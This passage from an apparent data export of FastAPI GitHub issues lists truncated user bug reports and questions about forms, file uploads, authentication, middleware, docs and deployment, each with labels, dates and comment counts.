```


### Description

```
$ curl localhost:8$ curl localhost:8000/openapi.json
{""openapi"":""3.1.0"",""info"":{""title"":""FastAPI"",""version"":""0.1.0""},""paths"":{}}
```

According to the documentation of the `servers` parameter in FastAPI:

> If the servers list is not provided, or is an empty list, the default value would be a dict with a url value of /.
... [TRUNCATED]",question,2024-09-22T10:29:30Z,2025-12-02T09:11:40Z,5
tiangolo/fastapi,2540742262,Optional form field not working with test client,"### Discussed in https://github.com/fastapi/fastapi/discussions/12227

<div type='discussions-op-text'>

<sup>Originally posted by **MartinAchtnerAA** September 19, 2024</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from typing import Annotated, Literal, Optional

from fastapi import FastAPI, Form
from fastapi.testclient import TestClient

app = FastAPI()

@app.post(""/"")
async def read_main(
    attribute : Annotated[Optional[Literal[""abc"", ""def""]], Form()]
):
    print(attribute)


client = TestClient(app)


data = {}
data[""attribute""] = None

response = client.post(""/"", data=data)
print(response.content)
assert response.status_code == 200
```


### ... [TRUNCATED]",question,2024-09-22T07:25:15Z,2026-02-05T18:55:46Z,11
tiangolo/fastapi,2539556953,"Regression between 0.113.0 and 0.114.0: OAuth2PasswordRequestForm used to accept grant_type=""""","### Discussed in https://github.com/fastapi/fastapi/discussions/12182

<div type='discussions-op-text'>

<sup>Originally posted by **rbubley** September 10, 2024</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
# This is just the code from https://fastapi.tiangolo.com/tutorial/security/oauth2-jwt/#update-the-dependencies

from datetime import datetime, timedelta, timezone
from typing import Annotated

import jwt
from fastapi import Depends, FastAPI, HTTPException, status
from fastapi.security import OAuth2PasswordBearer, OAuth2PasswordRequestForm
from jwt.exceptions import InvalidTokenError
from passlib.context import CryptContext
from pydantic import BaseModel

# to ... [TRUNCATED]",question,2024-09-20T19:42:01Z,2025-12-03T12:29:10Z,4
tiangolo/fastapi,2539550462,Sponsor Badge CSS overflow issue on the docs,"### Discussed in https://github.com/fastapi/fastapi/discussions/12218

<div type='discussions-op-text'>

<sup>Originally posted by **nat236919** September 19, 2024</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
announce-wrapper .sponsor-badge {
    display: block;
    position: absolute;
    top: -10px;
    right: 0;
    font-size: 0.5rem;
    color: #999;
    background-color: #666;
    border-radius: 10px;
    padding: 0 10px;
    z-index: 10;
}
```


### Description

![image](https://github.com/user-attachments/assets/0b9cc528-d268-4e2f-b073-0988228ebd55)

Due to its absolute position and overflow setting, the text is trailing down creating an expected scr... [TRUNCATED]",question,2024-09-20T19:37:07Z,2025-09-21T14:19:42Z,4
tiangolo/fastapi,2524971336,Some Bugs Regarding File Upload Functionality in FastAPI and Testing with Swagger UI,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

from fastapi import FastAPI, UploadFile, File, Form
from typing import List, Optional

app = FastAPI()

@app.post(""/upload/"")
async def upload_files(
    required_files: List[UploadFile] = File(...), 
    optional_files: List[Optional[UploadFile]] = File(None),  
    string_list: List[str] = Form(...) 
):
    return 

This code is an example, but I combined it with Swagger UI and found multiple problems, The following questions are respectively.
1. When the file list is defined as optional, if no optional files are selected in the Swagger UI, the backend code will report an error 422, indicating that the passed parameters cannot be received.
2. form-data type data cannot be passed together with the file type, and the back-end code cannot accept both types of data at the same time.
3. File type cannot be verified in pydantic model, but this does not seem to be a bug.
4. When receiving string types, adding multiple strings in Swagger UI, in the back-end code, using List[str] to receive will treat all strings as a larger string, resulting in only one string in the List. a string.



",,2024-09-13T14:22:05Z,2024-09-17T21:57:23Z,9
tiangolo/fastapi,2508744388,Your upgrade of 113 broken all gradio apps - a fix needed ASAP this is devastating ,"a very basic just gradio having app

fast api 111 fixes issue

all of my followers now reporting errors and so hard to fix all

i don't know how can you publish such a devastating bug having version please fix it ASAP


```
2024-09-06 00:12:20,515 - INFO - HTTP Request: GET https://api.gradio.app/gradio-messaging/en ""HTTP/1.1 200 OK""
Running on local URL:  http://127.0.0.1:7860
2024-09-06 00:12:20,542 - INFO - HTTP Request: GET http://127.0.0.1:7860/startup-events ""HTTP/1.1 200 OK""
2024-09-06 00:12:20,552 - INFO - HTTP Request: HEAD http://127.0.0.1:7860/ ""HTTP/1.1 200 OK""

To create a public link, set `share=True` in `launch()`.
2024-09-06 00:12:20,673 - INFO - HTTP Request: GET https://checkip.amazonaws.com/ ""HTTP/1.1 200 ""
2024-09-06 00:12:21,337 - INFO - HTTP Request: GET https://api.gradio.app/pkg-version ""HTTP/1.1 200 OK""
ERROR:    Exception in ASGI application
Traceback (most recent call last):
  File ""R:\Image_Caption_Editor_v6\venv\lib\site-packages\pydantic\type_adapter.py"", line 209, in __init__
    core_schema = _getattr_no_parents(type, '__pydantic_core_schema__')
  File ""R:\Image_Caption_Editor_v6\venv\lib\site-packages\pydantic\type_adapter.py"", line 98, in _getattr_no_parents
    raise AttributeError(attribute)
AttributeError: __pydantic_core_schema__

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File ""R:\Image_Caption_Editor_v6\venv\lib\site-packages\uvicorn\protocols\ht... [TRUNCATED]",answered,2024-09-05T21:18:44Z,2024-10-22T22:18:20Z,37
tiangolo/fastapi,2499650328,Here is the starter kit for fast api forked original one but only included the backend part it take me so much time to clean up the code and only keep the backend part so i hope it helps you guys ,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

 https://github.com/bibektimilsina00/FastAPI-PgStarterKit",,2024-09-01T19:42:13Z,2024-09-01T19:44:22Z,0
tiangolo/fastapi,2479428438,Why can't the key of the returned value start with “_sa”?,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

```
import uvicorn
from fastapi import FastAPI


app = FastAPI()


@app.get(""/"")
def root():
    return {""_sa"": ""Hello World"", ""status"": ""OK""}


if __name__ == '__main__':
    uvicorn.run(app, host=""0.0.0.0"", port=8000)
```
The result of the above code is:
```
{
    ""status"": ""OK""
}
```",,2024-08-21T23:42:20Z,2024-08-22T13:54:53Z,2
tiangolo/fastapi,2473091420,"FastAPI does not allow to send a ""None"" UploadFile","### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

I have a POST method with FastAPI which has 2 params with UploadFile type. But one of them is required and one of them is Optional. When I send required param with None value, I got 422 error relating to ""Field required"". But if I send Optional param with None value, it's acceptable.
When I use:
from fastapi import Request
And add:
request: Request as extra param, then log request.form(), I don't see Optional param.
It seems to FastAPI ignored it?

My code is below:
from fastapi import File, Request, UploadFile
from typing import Annatoted

app: FastAPI = FastAPI()

@app.post(/test)
async def test(
    request: Request,
    firstFile: Annatoted[UploadFile, File(...)],
    secondFile: Annatoted[UploadFile | None, File(...)] = None):
    logger.debug(await request.form())",,2024-08-19T11:07:12Z,2024-08-19T11:18:04Z,0
tiangolo/fastapi,2466028114,"👷🏻 Recently, the CI is failing due to docs building failures","### Discussed in https://github.com/fastapi/fastapi/discussions/12011

<div type='discussions-op-text'>

<sup>Originally posted by **svlandeg** August 14, 2024</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Description

Recently, PRs have started failing the CI due to failing some of the document building checks. It looks like a regression may have been introduced on `master` causing this.

Example PRs that failed today:
 * https://github.com/fastapi/fastapi/pull/11876
 * https://github.com/fastapi/fastapi/pull/11515

The error is caused by the following error:
```
No such file or directory: '/home/runner/work/fastapi/fastapi/docs/de/docs/img/icon-white.svg'
```

And the same thing in other ... [TRUNCATED]","bug,internal",2024-08-14T14:33:00Z,2024-08-14T14:52:21Z,1
tiangolo/fastapi,2465473911,Problem where scheduled tasks will be executed repeatedly when starting with multiple workders,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

i use this command to start my application 
`
nohup uvicorn app:app --host 0.0.0.0 --port 8000 --workers 5 > ../app.log 2>&1 &`
my task code 
`async def my_task():
      do some curd code 

trigger = CronTrigger(hour=18, minute=35)

scheduler.add_job(my_task, trigger)

scheduler.start()
`

This task will be executed repeatedly, resulting in duplicate data
",,2024-08-14T10:33:40Z,2024-08-14T11:03:08Z,0
tiangolo/fastapi,2460763258,"Using fast API's multi-value Query parameters, but only receiving the last value","I followed the method in the document (https://fastapi.tiangolo.com/tutorial/query-params-str-validations/#query-parameter-list-multiple-values-with-defaults)and the parameters of the interface list, but the data obtained is always only the last data. 
like this:
localhost:8000/path/getList?q=Value1&q=Value2

@router.get(""/path/getList"")
async def get_list(
        command: Union[list[str], None] = Query(default=None)
):
    for item in command:
        print(item)

console only log one data: Value2, Is there any way to troubleshoot?",,2024-08-12T11:39:51Z,2024-08-12T12:02:44Z,1
tiangolo/fastapi,2459358052,ASGI Error,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

 Error loading ASGI app. Could not import module ""main"".",,2024-08-11T00:59:10Z,2024-08-11T05:12:09Z,0
tiangolo/fastapi,2445867623,thanks for the effoer,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

thanks",,2024-08-02T23:11:23Z,2024-08-02T23:11:28Z,0
tiangolo/fastapi,2431602781,How to distinguish None value sent by user and default None value for an optional argument in a API,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

I have a API with 3 arguments, one of them is Optional with default value as None.
When user send a post request without this argument -> ok, continue to process this argument with None value.
But when user send None value for this argument, I want to detect and return error",,2024-07-26T07:24:30Z,2024-07-27T07:23:22Z,3
tiangolo/fastapi,2424470072,fastapi nonsupport python 3.12 ? ,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

fastapi nonsupport python 3.12 ? ",,2024-07-23T07:26:35Z,2024-07-23T08:28:41Z,1
tiangolo/fastapi,2397432404,"I have many routes that need to use ""page"" and ""page_size"". Is there a solution with class inheritance for Query ?","### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

I have many routes that need to use ""page"" and ""page_size"". Is there a solution with class inheritance for Query ?",,2024-07-09T07:53:35Z,2024-07-09T08:00:41Z,0
tiangolo/fastapi,2370920427,Basic auth accepts wrong password as a correct one!,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

``` python
from fastapi import Depends, FastAPI, HTTPException
from fastapi.security import HTTPBasic, HTTPBasicCredentials
from starlette.status import HTTP_401_UNAUTHORIZED

app = FastAPI()

security = HTTPBasic()


def get_current_username(credentials: HTTPBasicCredentials = Depends(security)):
    if credentials.username != ""foo"" or credentials.password != ""password"":
        raise HTTPException(
            status_code=HTTP_401_UNAUTHORIZED,
            detail=""Incorrect email or password"",
            headers={""WWW-Authenticate"": ""Basic""},
        )
    return credentials.username


@app.get(""/users/me"")
def read_current_user(username: str = Depends(get_current_username)):
    return {""username"": username}


import uvicorn

uvicorn.run(app, host=""0.0.0.0"", port=8000)
```

Hi I'm struggling to place a basic auth, and using the latest fastapi version but still the app is working with any random string",,2024-06-24T19:12:03Z,2024-06-25T05:40:05Z,1
tiangolo/fastapi,2369922028,"pydantic error: look-around, including look-ahead and look-behind, is not supported","### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

## 
```python
from fastapi import FastAPI, Request, Path

from pydantic import ConfigDict

from core import settings

app = FastAPI()


@app.get(""/{url:path}"", summary=""前端网页"", response_class=str)
async def frontend_page(
    request: Request,
    url: str = Path(
        ...,
        pattern=f""^(?!{settings.OPENAPI_V1_STR}/).*"",
        # json_schema_extra=ConfigDict(regex_engine=""python-re""),
    ),
):

    return ""success""


# 主程序入口
if __name__ == ""__main__"":
    import uvicorn

    uvicorn.run(app, host=settings.OPENAPI_HOST, port=7791)
```

## Python、Pydantic 和 OS 版本
pydantic version: 2.7.3
        pydantic-core version: 2.18.4
        fastapi 0.111.0
          pydantic-core build: profile=release pgo=true
                 install path: /.venv/lib/python3.12/site-packages/pydantic
               python version: 3.10.12
               
 ## code error details
 
During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File ""D:\src\project\yjerp\ims\test.py"", line 11, in <module>
    async def frontend_page(
  File ""D:\down_app\Anaconda3\envs\ims\lib\site-packages\fastapi\routing.py"", line 944, in decorator
    self.add_api_route(
  File ""D:\down_app\Anaconda3\envs\ims\lib\site-packages\fastapi\routing.py"", line 883, in add_api_route
    route = route_class(
  File ""D:\... [TRUNCATED]",,2024-06-24T10:55:18Z,2024-06-24T16:57:40Z,0
tiangolo/fastapi,2368718884,test issue fasapi,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

test",,2024-06-23T16:52:28Z,2024-06-23T16:54:28Z,2
tiangolo/fastapi,2345458313,app.mout not working while packaging fastapi application using pyinstaller,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

`app = FastAPI()
base_dir = os.path.dirname(os.path.abspath(__file__))

# Full paths for static and templates directories
static_dir = os.path.join(base_dir, ""app/static"")
templates_dir = os.path.join(base_dir, ""app/templates"")

# Mount the 'static' directory to serve static files
app.mount(""/static"", StaticFiles(directory=static_dir), name=""static"")
app.mount(""/templates"", StaticFiles(directory=templates_dir), name=""templates"")

app.include_router(auths.auth)

if __name__ == ""__main__"":
    import uvicorn
    uvicorn.run(app, host=""0.0.0.0"", port=8000)`

Application is running well through uvicorn or `python main.py` or `fastapi dev` 

but i am trying to make build of my application through pyinstaller (command is below)
`pyinstaller -F --onefile main.py`

and when i am commenting the app.mount lines then the build is working fine, only it is giving below error for app.mout

`PS C:\Users\Nitish Kumar\abc\cas-apis\dist> .\main.exe
Database connection is active.
Traceback (most recent call last):
  File ""main.py"", line 84, in <module>
  File ""starlette\staticfiles.py"", line 59, in __init__
RuntimeError: Directory 'app/static' does not exist
[3076] Failed to execute script 'main' due to unhandled exception!
PS C:\Users\Nitish Kumar\abc\cas-apis\dist> .\main.exe
Database connection is active.
Traceback (most recent call last):
  File ""m... [TRUNCATED]",,2024-06-11T05:54:20Z,2024-06-11T07:04:53Z,0
tiangolo/fastapi,2342068820,feat: send streams like websocket or sanic way,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

some case use send multi in different code stage, 
sse  = StreamingResponse()
sse.send(""llm end"")
time.sleep(30) # mock rag search
sse.send(""llm response"")
sse.send(""llm end"")",,2024-06-09T07:18:25Z,2024-06-11T07:05:01Z,0
tiangolo/fastapi,2341757349,Support for Websocket Ping to check connection status and clean up stale connections,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

I just read #626, and it seems like handling ping was discussed and resolved, but nothing was mentioned around sending a ping out to a client.  I believe that would test the connection and allow a WebsocketDiscconnect exception to be thrown allowing the connection to be cleaned up.  It seems though that the websocket I'm referencing doesn't expose a `.conn` attribute so I don't understand how to send a ping.  Could someone provide a more explicit explanation around invoking websocket [ping](https://datatracker.ietf.org/doc/html/rfc6455#section-5.5.2) from the server to validate connections?",,2024-06-08T17:37:52Z,2024-06-08T17:44:06Z,0
tiangolo/fastapi,2322248947,"How to upload header, body, params and files at the same time","### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

here is my code.
If I only Use Request or UploadFile.It's OK. If I both use it. It raise 422.

server.py
```
import uvicorn
from fastapi import FastAPI, UploadFile, Request
from fastapi_restful import Resource, Api
from pydantic import BaseModel

class InputParams(BaseModel):
    request_uuid:str
    user_id:str = """"
    channelId:str
    SceneId:str

app = FastAPI()
api = Api(app)

class MyResource(Resource):
    async def post(self, request:Request, file: UploadFile):
        return ""success""

api.add_resource(MyResource(), ""/uploadfile"")

if __name__ == ""__main__"":
    uvicorn.run(app)
```


client.py
```
import requests

files = {""file"": (""server.py"", open(""server.py"", ""rb""))}
body = {
    ""request_uuid"": ""test_uuid"",
    ""user_id"": ""test_user""
}
params = {""channelId"":""test_channel"", ""sceneId"": ""test_scene""}
headers = {""Content-Type"": ""application/json;charset=UTF-8""}
response = requests.post(""http://127.0.0.1:8000/uploadfile"", headers=headers, json=body, params=params,files=files)
print(response.status_code)
print(response.json())
```

raise 422 Error

Due to the code specification, I can't write a lot of variables inside `def`
I ask chatgpt-4o。Then
server.py
```
import uvicorn
from fastapi import FastAPI, UploadFile, Request
from fastapi_restful import Resource, Api
from pydantic import BaseModel

class I... [TRUNCATED]",,2024-05-29T02:55:28Z,2024-05-30T10:26:49Z,3
tiangolo/fastapi,2312214650,How to use single database connection throughout application. ,"### Privileged issue

- [ ] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

How to use single database connection throughout application using sqlalchemy. I have to interact with two different database, i do not want to create database session  on every request. is there any way to create single database connection for each database when application started.
",,2024-05-23T07:52:26Z,2024-05-23T08:04:46Z,0
tiangolo/fastapi,2309439897,[BUG] Swagger documents cannot be accessed directly through the browser after setting the proxy using root_path,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

### Operating System
Windows

### FastAPI Version
0.109.1

### Pydantic Version
2.5.3

### Python Version
3.9.18

### Uvicorn Version
0.27.0
```
from fastapi import FastAPI
import uvicorn


app = FastAPI()


@app.get('/test')
def test():
    return {'test': 'test content'}


if __name__ == '__main__':
    uvicorn.run(app='app:app', root_path='/proxy')
```
When I run the above code, I am unable to access the Swagger document through http://127.0.0.1:8000/docs or http://127.0.0.1:8000/proxy/docs in my browser(Not Found /proxy/openapi.json).",,2024-05-22T02:26:37Z,2024-05-23T08:05:04Z,0
tiangolo/fastapi,2299483135,Is there a bug in the single body pass parameter?,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

server
```
from fastapi import FastAPI
import uvicorn
from pydantic import BaseModel

app = FastAPI()

class InputParams(BaseModel):
    name:str

@app.post(""/"")
async def index(params:InputParams):
    return f""hello {params.name}""


uvicorn.run(app)
```




client
```
import requests
import json

host = ""http://localhost:8000""
uri = ""/""
url = host + uri


body = {""name"": ""aaa""}

response = requests.post(url, json=body)
print(response.status_code)
print(response.json())
```


It's OK. 
server
```
from fastapi import FastAPI, Body
import uvicorn

app = FastAPI()

@app.post(""/"")
async def index(name:str=Body(), age:int=Body()):
    return f""hello {name}, {age}""


uvicorn.run(app)
```

client
```
import requests
import json

host = ""http://localhost:8000""
uri = ""/""
url = host + uri


body = {""name"": ""aaa"", ""age"":18}

response = requests.post(url, json=body)
print(response.status_code)
print(response.json())
```


OK again.


server
```
from fastapi import FastAPI, Body
import uvicorn
from pydantic import BaseModel

app = FastAPI()

class InputParams(BaseModel):
    name:str
    age:int

@app.post(""/"")
async def index(params:InputParams):
    return f""hello {params.name, params.age}, ""


uvicorn.run(app)
```


client
```
import requests
import json

host = ""http://loca... [TRUNCATED]",,2024-05-16T06:36:59Z,2024-05-16T07:34:15Z,5
tiangolo/fastapi,2298205114,"Query fields with numeric types appear not to enforce allow_inf_nan=False, whereas gt=0, etc are enforced","### Discussed in https://github.com/tiangolo/fastapi/discussions/11577

<div type='discussions-op-text'>

<sup>Originally posted by **pat-lasswell** May 14, 2024</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import aiohttp
import asyncio
import math
import uvicorn

from fastapi import FastAPI, Query, Request, Response
from http import HTTPStatus
from typing import Annotated

app = FastAPI()

@app.get('/')
async def get(
        x: Annotated[float | None, Query(gt=0,                description='x')] = 1,
        y: Annotated[float | None, Query(allow_inf_nan=False, description='y')] = 0) -> str:

    assert x > 0
    assert not math.isnan(y) and not math.isinf(... [TRUNCATED]",bug,2024-05-15T15:15:03Z,2024-08-24T19:27:38Z,2
tiangolo/fastapi,2291692472,fastapi dev runs stuck,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

The first time I ran fastapi dev, there was no problem, but I encountered a code error. Then after I modified the code and saved it, a WARNING: WatchFiles detected changes in 'tool/index.py'. Reloading... then got stuck and could not exit.

<img width=""983"" alt=""image"" src=""https://github.com/tiangolo/fastapi/assets/29888469/f596a4fb-af29-4098-b489-3d9efee08f2c"">
",,2024-05-13T02:50:34Z,2025-12-12T15:20:02Z,35
tiangolo/fastapi,2290805082,middleware,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

```python
class LogMiddleware(BaseHTTPMiddleware):

    def __init__(self, app):
        super().__init__(app)

    async def dispatch(self, request: Request, call_next) -> Response:
        transaction_id = str(uuid.uuid4()).replace('-', '')
        with logger.contextualize(request_id=transaction_id):
            client = request.client.host
            http_type = request.scope.get(""type"") + ""/"" + request.scope.get('http_version')
            header = request.headers.get(""user-agent"")
            request_url = str(request.url)
            request_time = datetime.datetime.now()
            http_method = request.method
            if http_method == ""GET"":
                request_content = str(request.query_params)
            elif http_method == ""POST"":
                body_ = await request.json()
                request_content = str(body_)
        
            response = await call_next(request)
            
            method_code = request.scope.get(""route"").name if request.scope.get(""route"") is not None else """",
            if request_url.rfind(""docs"") != -1:
                return response
            response_time = datetime.datetime.now()
            body = b""""
            async for chunk in response.body_iterator:
                body += chunk
            result = json.loads(body.decode(""utf-8""))
            response_code = 0 ... [TRUNCATED]",,2024-05-11T09:27:22Z,2024-05-12T05:18:20Z,0
tiangolo/fastapi,2287585837,How pydantic handles if request body is None,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

Suppose I have a model:
class User(Basemodel):
    name: str
    age: str
    
And I have an endpoint something like:
@app.post(""/user"", description=""User add"")
def add_user(add_user_data: User):
    so_something()
    
 I am expecting a request body with the user details as show above in pydantic model
 Question is how should I handle the case when request body is None 
 
 Note:
 I am using fastapi add_exception_handler() function to handle the incoming request before reaching it to the endpoint some thing like:
 
 def handle_pydantic_validations(request: Request, exc: ValidationError):
    errors = exc.args[0]
    error_list = [{error[""loc""][1]: error[""msg""]} for error in errors]
    return make_response(status_code=status.HTTP_400_BAD_REQUEST, body={""body"": error_list,
                                                                        ""status_code"": status.HTTP_400_BAD_REQUEST})
 ",,2024-05-09T12:25:36Z,2024-05-09T13:16:15Z,0
tiangolo/fastapi,2286266532,"hi @chrisK824, my use case is that I have a router which has a global dependency to validate jwt tokens. then, i also have endpoints which come under the secure router where i want to check for the permissions, so for example","hi @WilliamStam, my use case is that I have a router which has a global dependency to validate jwt tokens. then, i also have endpoints which come under the secure router where i want to check for the permissions, so for example

```
secure_router = APIRouter(dependencies=[Security(auth0_token)])
@secure_router.get(""/api/{org}/user"",
                    dependencies=[Depends(PermissionsValidator([""read:{org}""]))])
```
and PermissionsValidator is defined as:
```
class PermissionsValidator:
    def __init__(self, required_permissions: list[str]):
        self.required_permissions = required_permissions

    def __call__(self, token: JWTPayload = Security(auth0_token)):
        token_permissions = token.permissions
        token_permissions_set = set(token_permissions)
        required_permissions_set = set(self.required_permissions)

        if not required_permissions_set.issubset(token_permissions_set):
            raise PermissionDeniedException
```
it seems to me that the jwt token will be validated twice in this scenario - is it possible to do it only once?

_Originally posted by @rohantandon25 in https://github.com/tiangolo/fastapi/discussions/10388#discussioncomment-9359260_",,2024-05-08T19:11:38Z,2024-05-08T19:17:50Z,0
tiangolo/fastapi,2282742831,fast api support for calling libraries that use MPI?,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

I have a project that uses Fast api and another that requires parallel computation using MPI, is it feasible to start the program via CMD [""mpirun -np 4 python"", ""main.py""]?",,2024-05-07T09:28:35Z,2024-05-07T09:29:21Z,0
tiangolo/fastapi,2223300607,When backend restart the frontend request a protected api cause an unhandle exception:  Exception in ASGI application,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

The following code catch JWTError, but result an Exception.
```python
def get_current_user(session: SessionDep, token: TokenDep) -> Type[User]:
    try:
        payload = jwt.decode(
            token, config.SECRET_KEY, algorithms=[config.SECURITY_ALGORITHM]
        )
        token_data = TokenPayload(**payload)
    except (jwt.JWTError, ValidationError):
        raise HTTPException(
            status_code=status.HTTP_403_FORBIDDEN,
            detail=""Could not validate credentials"",
        )
    user = session.get(User, token_data.sub)
    if not user:
        raise HTTPException(status_code=404, detail=""User not found"")
    if not user.is_active:
        raise HTTPException(status_code=400, detail=""Inactive user"")
    return user


CurrentUser = Annotated[User, Depends(get_current_user)]
```

When frontend use a wrong Token or backend restarted, the framework cause an unhandled exception.
```
ERROR:    Exception in ASGI application
  + Exception Group Traceback (most recent call last):
  |   File ""C:\Users\Lenovo\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.10_qbz5n2kfra8p0\LocalCache\Local\pypoetry\Cache\virtualenvs\moonlight-backend-ZJgMLtnY-py3.11\Lib\site-packages\starlette\_utils.py"", line 87, in collapse_excgroups
  |     yield
  |   File ""C:\Users\Lenovo\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.10... [TRUNCATED]",,2024-04-03T15:51:17Z,2024-04-03T18:00:58Z,3
tiangolo/fastapi,2214589732,It throws an exception when I specify return Http status code,"### Privileged issue

- [ ] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

ERROR:    Exception in ASGI application
Traceback (most recent call last):
  File ""C:\ProgramData\miniconda3\envs\SMS\Lib\site-packages\uvicorn\protocols\http\h11_impl.py"", line 407, in run_asgi
    result = await app(  # type: ignore[func-returns-value]
             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File ""C:\ProgramData\miniconda3\envs\SMS\Lib\site-packages\uvicorn\middleware\proxy_headers.py"", line 78, in __call__
    return await self.app(scope, receive, send)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File ""C:\ProgramData\miniconda3\envs\SMS\Lib\site-packages\fastapi\applications.py"", line 1054, in __call__
    await super().__call__(scope, receive, send)
  File ""C:\ProgramData\miniconda3\envs\SMS\Lib\site-packages\starlette\applications.py"", line 123, in __call__
    await self.middleware_stack(scope, receive, send)
  File ""C:\ProgramData\miniconda3\envs\SMS\Lib\site-packages\starlette\middleware\errors.py"", line 186, in __call__
    raise exc
  File ""C:\ProgramData\miniconda3\envs\SMS\Lib\site-packages\starlette\middleware\errors.py"", line 164, in __call__
    await self.app(scope, receive, _send)
  File ""C:\ProgramData\miniconda3\envs\SMS\Lib\site-packages\starlette\middleware\cors.py"", line 83, in __call__
    await self.app(scope, receive, send)
  File ""C:\ProgramData\miniconda3\envs\SMS\Lib\site-packages\starlette\mid... [TRUNCATED]",,2024-03-29T03:40:13Z,2024-03-29T05:29:14Z,0
tiangolo/fastapi,2207045917,middleware type ,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

app.add_middleware(GZipMiddleware),  pycharm 2023.3.5, will tooltip:: Expected type 'Type[_MiddlewareClass]' (matched generic type 'Type[_MiddlewareClass[ParamSpec(""P"")]]'), got 'Type[GZipMiddleware]' instead 
![CleanShot 2024-03-26 at 09 22 35](https://github.com/tiangolo/fastapi/assets/6077601/dbe3c863-35ce-45bc-8025-fb48d8bdcf51)
",,2024-03-26T01:22:49Z,2024-03-26T06:33:15Z,0
